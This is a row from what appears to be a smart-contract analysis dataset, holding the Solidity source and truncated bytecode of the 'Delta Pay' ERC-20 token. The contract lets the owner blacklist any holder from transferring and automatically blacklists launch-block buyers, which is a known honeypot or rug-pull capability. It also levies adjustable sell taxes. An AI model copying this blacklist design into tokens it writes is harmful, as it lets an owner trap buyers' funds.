address
stringlengths
42
42
source_code
stringlengths
6.9k
125k
bytecode
stringlengths
2
49k
slither
stringclasses
664 values
id
int64
0
10.7k
0xd912f10596fd9e84380c84e564111642f0513911
/* /$$$$$$$ /$$ /$$ /$$$$$$$ | $$__ $$ | $$ | $$ | $$__ $$ | $$ \ $$ /$$$$$$ | $$ /$$$$$$ /$$$$$$ | $$ \ $$ /$$$$$$ /$$ /$$ | $$ | $$ /$$__ $$| $$|_ $$_/ |____ $$| $$$$$$$/|____ $$| $$ | $$ | $$ | $$| $$$$$$$$| $$ | $$ /$$$$$$$| $$____/ /$$$$$$$| $$ | $$ | $$ | $$| $$_____/| $$ | $$ /$$ /$$__ $$| $$ /$$__ $$| $$ | $$ | $$$$$$$/| $$$$$$$| $$ | $$$$/| $$$$$$$| $$ | $$$$$$$| $$$$$$$ |_______/ \_______/|__/ \___/ \_______/|__/ \_______/ \____ $$ /$$ | $$ | $$$$$$/ \______/ Telegram: https://t.me/deltapay SPDX-License-Identifier: Unlicensed */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DeltaPay is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Delta Pay"; string private constant _symbol = "DeltaPay"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e10 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeJeets = 0; uint256 private _taxFeeJeets = 7; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _burnFee = 0; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; uint256 private _previousburnFee = _burnFee; address payable private _marketingAddress = payable(0xf4Cdb03Fa34027152a72626d75f41758F98E6540); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; uint256 public timeJeets = 11 minutes; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private isMaxBuyActivated = true; uint256 public _maxTxAmount = 2e8 * 10**9; uint256 public _maxWalletSize = 2e8 * 10**9; uint256 public _swapTokensAtAmount = 1001 * 10**9; uint256 public _minimumBuyAmount = 2e8 * 10**9 ; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[deadAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function createPair() external onlyOwner(){ IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0 && _burnFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _previousburnFee = _burnFee; _redisFee = 0; _taxFee = 0; _burnFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; _burnFee = _previousburnFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0)); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if (from != owner() && to != owner()) { if (!tradingOpen) { revert("Trading not yet enabled!"); } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } } if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (isMaxBuyActivated) { if (block.timestamp <= launchTime + 20 minutes) { require(amount <= _minimumBuyAmount); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance > _swapTokensAtAmount; if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { uint256 burntAmount = 0; if (_burnFee > 0) { burntAmount = contractTokenBalance.mul(_burnFee).div(10**2); burnTokens(burntAmount); } swapTokensForEth(contractTokenBalance - burntAmount); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _buyMap[to] = block.timestamp; _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; if (block.timestamp == launchTime) { _isSniper[to] = true; } } if (to == uniswapV2Pair && from != address(uniswapV2Router)) { if (_buyMap[from] != 0 && (_buyMap[from] + timeJeets >= block.timestamp)) { _redisFee = _redisFeeJeets; _taxFee = _taxFeeJeets; } else { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } } _tokenTransfer(from, to, amount, takeFee); } function burnTokens(uint256 burntAmount) private { _transfer(address(this), deadAddress, burntAmount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading() public onlyOwner { require(!tradingOpen); tradingOpen = true; launchTime = block.timestamp; } function setMarketingWallet(address marketingAddress) external { require(_msgSender() == _marketingAddress); _marketingAddress = payable(marketingAddress); _isExcludedFromFee[_marketingAddress] = true; } function setIsMaxBuyActivated(bool _isMaxBuyActivated) public onlyOwner { isMaxBuyActivated = _isMaxBuyActivated; } function manualswap(uint256 amount) external { require(_msgSender() == _marketingAddress); require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount"); swapTokensForEth(amount); } function addSniper(address[] memory snipers) external onlyOwner { for(uint256 i= 0; i< snipers.length; i++){ _isSniper[snipers[i]] = true; } } function removeSniper(address sniper) external onlyOwner { if (_isSniper[sniper]) { _isSniper[sniper] = false; } } function isSniper(address sniper) external view returns (bool){ return _isSniper[sniper]; } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner { require(maxTxAmount >= 5e7 * 10**9); _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner { require(maxWalletSize >= _maxWalletSize); _maxWalletSize = maxWalletSize; } function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner { require(amountBuy >= 0 && amountBuy <= 13); require(amountSell >= 0 && amountSell <= 13); _taxFeeOnBuy = amountBuy; _taxFeeOnSell = amountSell; } function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner { require(amountRefBuy >= 0 && amountRefBuy <= 1); require(amountRefSell >= 0 && amountRefSell <= 1); _redisFeeOnBuy = amountRefBuy; _redisFeeOnSell = amountRefSell; } function setBurnFee(uint256 amount) external onlyOwner { require(amount >= 0 && amount <= 1); _burnFee = amount; } function setJeetsFee(uint256 amountRedisJeets, uint256 amountTaxJeets) external onlyOwner { require(amountRedisJeets >= 0 && amountRedisJeets <= 1); require(amountTaxJeets >= 0 && amountTaxJeets <= 19); _redisFeeJeets = amountRedisJeets; _taxFeeJeets = amountTaxJeets; } function setTimeJeets(uint256 hoursTime) external onlyOwner { require(hoursTime >= 0 && hoursTime <= 4); timeJeets = hoursTime * 1 hours; } }
0x6080604052600436106102295760003560e01c8063715018a6116101235780639e78fb4f116100ab578063dd62ed3e1161006f578063dd62ed3e14610664578063e0f9f6a0146106aa578063ea1644d5146106ca578063f2fde38b146106ea578063fe72c3c11461070a57600080fd5b80639e78fb4f146105cf5780639ec350ed146105e45780639f13157114610604578063a9059cbb14610624578063c55284901461064457600080fd5b80637d1db4a5116100f25780637d1db4a514610534578063881dce601461054a5780638da5cb5b1461056a5780638f9a55c01461058857806395d89b411461059e57600080fd5b8063715018a6146104d457806374010ece146104e9578063790ca413146105095780637c519ffb1461051f57600080fd5b8063313ce567116101b15780635d098b38116101755780635d098b38146104495780636b9cf534146104695780636d8aa8f81461047f5780636fc3eaec1461049f57806370a08231146104b457600080fd5b8063313ce567146103ad57806333251a0b146103c957806338eea22d146103e957806349bd5a5e146104095780634bf2c7c91461042957600080fd5b806318160ddd116101f857806318160ddd1461031a57806323b872dd1461033f57806327c8f8351461035f57806328bb665a146103755780632fd689e31461039757600080fd5b806306fdde0314610235578063095ea7b3146102795780630f3a325f146102a95780631694505e146102e257600080fd5b3661023057005b600080fd5b34801561024157600080fd5b5060408051808201909152600981526844656c74612050617960b81b60208201525b6040516102709190611ee9565b60405180910390f35b34801561028557600080fd5b50610299610294366004611f63565b610720565b6040519015158152602001610270565b3480156102b557600080fd5b506102996102c4366004611f8f565b6001600160a01b031660009081526009602052604090205460ff1690565b3480156102ee57600080fd5b50601954610302906001600160a01b031681565b6040516001600160a01b039091168152602001610270565b34801561032657600080fd5b50678ac7230489e800005b604051908152602001610270565b34801561034b57600080fd5b5061029961035a366004611fac565b610737565b34801561036b57600080fd5b5061030261dead81565b34801561038157600080fd5b50610395610390366004612003565b6107a0565b005b3480156103a357600080fd5b50610331601d5481565b3480156103b957600080fd5b5060405160098152602001610270565b3480156103d557600080fd5b506103956103e4366004611f8f565b61083f565b3480156103f557600080fd5b506103956104043660046120c8565b6108ae565b34801561041557600080fd5b50601a54610302906001600160a01b031681565b34801561043557600080fd5b506103956104443660046120ea565b6108ff565b34801561045557600080fd5b50610395610464366004611f8f565b61093c565b34801561047557600080fd5b50610331601e5481565b34801561048b57600080fd5b5061039561049a366004612103565b610996565b3480156104ab57600080fd5b506103956109de565b3480156104c057600080fd5b506103316104cf366004611f8f565b610a08565b3480156104e057600080fd5b50610395610a2a565b3480156104f557600080fd5b506103956105043660046120ea565b610a9e565b34801561051557600080fd5b50610331600a5481565b34801561052b57600080fd5b50610395610ae1565b34801561054057600080fd5b50610331601b5481565b34801561055657600080fd5b506103956105653660046120ea565b610b3b565b34801561057657600080fd5b506000546001600160a01b0316610302565b34801561059457600080fd5b50610331601c5481565b3480156105aa57600080fd5b5060408051808201909152600881526744656c746150617960c01b6020820152610263565b3480156105db57600080fd5b50610395610bb7565b3480156105f057600080fd5b506103956105ff3660046120c8565b610d6f565b34801561061057600080fd5b5061039561061f366004612103565b610dc0565b34801561063057600080fd5b5061029961063f366004611f63565b610e08565b34801561065057600080fd5b5061039561065f3660046120c8565b610e15565b34801561067057600080fd5b5061033161067f366004612125565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3480156106b657600080fd5b506103956106c53660046120ea565b610e66565b3480156106d657600080fd5b506103956106e53660046120ea565b610eb0565b3480156106f657600080fd5b50610395610705366004611f8f565b610eee565b34801561071657600080fd5b5061033160185481565b600061072d338484610fd8565b5060015b92915050565b60006107448484846110fc565b610796843361079185604051806060016040528060288152602001612300602891396001600160a01b038a166000908152600560209081526040808320338452909152902054919061179d565b610fd8565b5060019392505050565b6000546001600160a01b031633146107d35760405162461bcd60e51b81526004016107ca9061215e565b60405180910390fd5b60005b815181101561083b576001600960008484815181106107f7576107f7612193565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610833816121bf565b9150506107d6565b5050565b6000546001600160a01b031633146108695760405162461bcd60e51b81526004016107ca9061215e565b6001600160a01b03811660009081526009602052604090205460ff16156108ab576001600160a01b0381166000908152600960205260409020805460ff191690555b50565b6000546001600160a01b031633146108d85760405162461bcd60e51b81526004016107ca9061215e565b60018211156108e657600080fd5b60018111156108f457600080fd5b600d91909155600f55565b6000546001600160a01b031633146109295760405162461bcd60e51b81526004016107ca9061215e565b600181111561093757600080fd5b601355565b6017546001600160a01b0316336001600160a01b03161461095c57600080fd5b601780546001600160a01b039092166001600160a01b0319909216821790556000908152600660205260409020805460ff19166001179055565b6000546001600160a01b031633146109c05760405162461bcd60e51b81526004016107ca9061215e565b601a8054911515600160b01b0260ff60b01b19909216919091179055565b6017546001600160a01b0316336001600160a01b0316146109fe57600080fd5b476108ab816117d7565b6001600160a01b03811660009081526002602052604081205461073190611811565b6000546001600160a01b03163314610a545760405162461bcd60e51b81526004016107ca9061215e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610ac85760405162461bcd60e51b81526004016107ca9061215e565b66b1a2bc2ec50000811015610adc57600080fd5b601b55565b6000546001600160a01b03163314610b0b5760405162461bcd60e51b81526004016107ca9061215e565b601a54600160a01b900460ff1615610b2257600080fd5b601a805460ff60a01b1916600160a01b17905542600a55565b6017546001600160a01b0316336001600160a01b031614610b5b57600080fd5b610b6430610a08565b8111158015610b735750600081115b610bae5760405162461bcd60e51b815260206004820152600c60248201526b15dc9bdb99c8185b5bdd5b9d60a21b60448201526064016107ca565b6108ab81611895565b6000546001600160a01b03163314610be15760405162461bcd60e51b81526004016107ca9061215e565b601980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a01559160048083019260209291908290030181865afa158015610c46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c6a91906121da565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cb7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cdb91906121da565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610d28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4c91906121da565b601a80546001600160a01b0319166001600160a01b039290921691909117905550565b6000546001600160a01b03163314610d995760405162461bcd60e51b81526004016107ca9061215e565b6001821115610da757600080fd5b6013811115610db557600080fd5b600b91909155600c55565b6000546001600160a01b03163314610dea5760405162461bcd60e51b81526004016107ca9061215e565b601a8054911515600160b81b0260ff60b81b19909216919091179055565b600061072d3384846110fc565b6000546001600160a01b03163314610e3f5760405162461bcd60e51b81526004016107ca9061215e565b600d821115610e4d57600080fd5b600d811115610e5b57600080fd5b600e91909155601055565b6000546001600160a01b03163314610e905760405162461bcd60e51b81526004016107ca9061215e565b6004811115610e9e57600080fd5b610eaa81610e106121f7565b60185550565b6000546001600160a01b03163314610eda5760405162461bcd60e51b81526004016107ca9061215e565b601c54811015610ee957600080fd5b601c55565b6000546001600160a01b03163314610f185760405162461bcd60e51b81526004016107ca9061215e565b6001600160a01b038116610f7d5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016107ca565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661103a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ca565b6001600160a01b03821661109b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ca565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661110f57600080fd5b6001600160a01b0382166111715760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ca565b600081116111d35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107ca565b6001600160a01b03821660009081526009602052604090205460ff161561120c5760405162461bcd60e51b81526004016107ca90612216565b6001600160a01b03831660009081526009602052604090205460ff16156112455760405162461bcd60e51b81526004016107ca90612216565b3360009081526009602052604090205460ff16156112755760405162461bcd60e51b81526004016107ca90612216565b6000546001600160a01b038481169116148015906112a157506000546001600160a01b03838116911614155b156115e557601a54600160a01b900460ff166112ff5760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c656421000000000000000060448201526064016107ca565b601a546001600160a01b03838116911614801561132a57506019546001600160a01b03848116911614155b156113dc576001600160a01b038216301480159061135157506001600160a01b0383163014155b801561136b57506017546001600160a01b03838116911614155b801561138557506017546001600160a01b03848116911614155b156113dc57601b548111156113dc5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016107ca565b601a546001600160a01b0383811691161480159061140857506017546001600160a01b03838116911614155b801561141d57506001600160a01b0382163014155b801561143457506001600160a01b03821661dead14155b156114df57601c548161144684610a08565b611450919061223d565b106114a95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016107ca565b601a54600160b81b900460ff16156114df57600a546114ca906104b061223d565b42116114df57601e548111156114df57600080fd5b60006114ea30610a08565b601d5490915081118080156115095750601a54600160a81b900460ff16155b80156115235750601a546001600160a01b03868116911614155b80156115385750601a54600160b01b900460ff165b801561155d57506001600160a01b03851660009081526006602052604090205460ff16155b801561158257506001600160a01b03841660009081526006602052604090205460ff16155b156115e257601354600090156115bd576115b260646115ac60135486611a0f90919063ffffffff16565b90611a8e565b90506115bd81611ad0565b6115cf6115ca8285612255565b611895565b4780156115df576115df476117d7565b50505b50505b6001600160a01b03831660009081526006602052604090205460019060ff168061162757506001600160a01b03831660009081526006602052604090205460ff165b806116595750601a546001600160a01b038581169116148015906116595750601a546001600160a01b03848116911614155b156116665750600061178b565b601a546001600160a01b03858116911614801561169157506019546001600160a01b03848116911614155b156116ec576001600160a01b03831660009081526004602052604090204290819055600d54601155600e54601255600a5414156116ec576001600160a01b0383166000908152600960205260409020805460ff191660011790555b601a546001600160a01b03848116911614801561171757506019546001600160a01b03858116911614155b1561178b576001600160a01b0384166000908152600460205260409020541580159061176857506018546001600160a01b03851660009081526004602052604090205442916117659161223d565b10155b1561177e57600b54601155600c5460125561178b565b600f546011556010546012555b61179784848484611add565b50505050565b600081848411156117c15760405162461bcd60e51b81526004016107ca9190611ee9565b5060006117ce8486612255565b95945050505050565b6017546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561083b573d6000803e3d6000fd5b60006007548211156118785760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016107ca565b6000611882611b11565b905061188e8382611a8e565b9392505050565b601a805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118dd576118dd612193565b6001600160a01b03928316602091820292909201810191909152601954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611936573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195a91906121da565b8160018151811061196d5761196d612193565b6001600160a01b0392831660209182029290920101526019546119939130911684610fd8565b60195460405163791ac94760e01b81526001600160a01b039091169063791ac947906119cc90859060009086903090429060040161226c565b600060405180830381600087803b1580156119e657600080fd5b505af11580156119fa573d6000803e3d6000fd5b5050601a805460ff60a81b1916905550505050565b600082611a1e57506000610731565b6000611a2a83856121f7565b905082611a3785836122dd565b1461188e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016107ca565b600061188e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b34565b6108ab3061dead836110fc565b80611aea57611aea611b62565b611af5848484611ba7565b8061179757611797601454601155601554601255601654601355565b6000806000611b1e611c9e565b9092509050611b2d8282611a8e565b9250505090565b60008183611b555760405162461bcd60e51b81526004016107ca9190611ee9565b5060006117ce84866122dd565b601154158015611b725750601254155b8015611b7e5750601354155b15611b8557565b6011805460145560128054601555601380546016556000928390559082905555565b600080600080600080611bb987611cde565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611beb9087611d3b565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c1a9086611d7d565b6001600160a01b038916600090815260026020526040902055611c3c81611ddc565b611c468483611e26565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c8b91815260200190565b60405180910390a3505050505050505050565b6007546000908190678ac7230489e80000611cb98282611a8e565b821015611cd557505060075492678ac7230489e8000092509050565b90939092509050565b6000806000806000806000806000611cfb8a601154601254611e4a565b9250925092506000611d0b611b11565b90506000806000611d1e8e878787611e99565b919e509c509a509598509396509194505050505091939550919395565b600061188e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061179d565b600080611d8a838561223d565b90508381101561188e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016107ca565b6000611de6611b11565b90506000611df48383611a0f565b30600090815260026020526040902054909150611e119082611d7d565b30600090815260026020526040902055505050565b600754611e339083611d3b565b600755600854611e439082611d7d565b6008555050565b6000808080611e5e60646115ac8989611a0f565b90506000611e7160646115ac8a89611a0f565b90506000611e8982611e838b86611d3b565b90611d3b565b9992985090965090945050505050565b6000808080611ea88886611a0f565b90506000611eb68887611a0f565b90506000611ec48888611a0f565b90506000611ed682611e838686611d3b565b939b939a50919850919650505050505050565b600060208083528351808285015260005b81811015611f1657858101830151858201604001528201611efa565b81811115611f28576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108ab57600080fd5b8035611f5e81611f3e565b919050565b60008060408385031215611f7657600080fd5b8235611f8181611f3e565b946020939093013593505050565b600060208284031215611fa157600080fd5b813561188e81611f3e565b600080600060608486031215611fc157600080fd5b8335611fcc81611f3e565b92506020840135611fdc81611f3e565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561201657600080fd5b823567ffffffffffffffff8082111561202e57600080fd5b818501915085601f83011261204257600080fd5b81358181111561205457612054611fed565b8060051b604051601f19603f8301168101818110858211171561207957612079611fed565b60405291825284820192508381018501918883111561209757600080fd5b938501935b828510156120bc576120ad85611f53565b8452938501939285019261209c565b98975050505050505050565b600080604083850312156120db57600080fd5b50508035926020909101359150565b6000602082840312156120fc57600080fd5b5035919050565b60006020828403121561211557600080fd5b8135801515811461188e57600080fd5b6000806040838503121561213857600080fd5b823561214381611f3e565b9150602083013561215381611f3e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156121d3576121d36121a9565b5060010190565b6000602082840312156121ec57600080fd5b815161188e81611f3e565b6000816000190483118215151615612211576122116121a9565b500290565b6020808252600d908201526c53746f7020736e6970696e672160981b604082015260600190565b60008219